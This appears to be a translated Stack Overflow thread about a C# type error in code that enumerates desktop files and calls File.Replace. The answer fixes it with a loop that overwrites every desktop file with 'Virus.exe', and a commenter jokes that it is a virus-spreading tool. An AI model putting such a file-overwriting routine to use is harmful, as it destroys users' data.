2016-03-02 90 views
0

我用这个来查找和替换的exe文件您可以将IEnumerated字符串转换为普通字符串吗?

public static void Replace() 
{ 
    string origFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/Virus.exe"; //original file 
    IEnumerable<string> toOverwrite = EnumerateFiles(); //newly enumarated files 
    string backupFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/temp"; //backup file (temporary) 
    File.Replace (origFile, toOverwrite, backupFile); //replaces files 
} 
public static IEnumerable<string> EnumerateFiles() 
{ 
    string pathToSearch = Environment.GetFolderPath (Environment.SpecialFolder.DesktopDirectory); //Sets search directory to the desktop 
    IEnumerable<string> exeFiles = Directory.EnumerateFiles (pathToSearch); //Searches desktop for all exe files 
    return exeFiles; //Returns enumerated list of files 
} 

但是当我做了File.Replace方法,它告诉我,我不能IEnumerable的字符串转换成一个正常的字符串。如何更改字符串类型而不更改值?

+0

你EnumerateFiles可以在exeFiles返回多个文件名。此外,如果您将其转换,我无法看到如何在调用File.Replace时使用它需要一个文件 – Steve

+0

字符串集合不是字符串。您需要遍历集合并对每个集合执行'File.Replace'。 – user1666620

回答

2

这就是说IEnumeable是一串字符串。 File.Replace需要一个字符串。你试图做的没有意义。我怀疑你需要循环中的文件toOverwrite收集

public static void Replace() 
     { 
      string origFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/Virus.exe"; //original file 
      IEnumerable<string> toOverwrite = EnumerateFiles(); //newly enumarated files 
      string backupFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/temp"; //backup file (temporary) 
      foreach(var file in toOverwrite) 
      { 
       File.Replace (origFile, file, backupFile); //replaces files 
      } 
} 
+0

我认为'File.Replace'需要备份的实际文件名,而不仅仅是一个目录。因为它会继续覆盖一个名为“temp”的文件。操作可能会需要备份每个文件? – juharr

+0

它的所有代码都没有意义。他只有一个名为VIRUS.EXE的源文件。通过这种方式,您正在复制此文件,替换目标列表中的所有文件。这是一个病毒传播工具吗? :-) – Steve

相关问题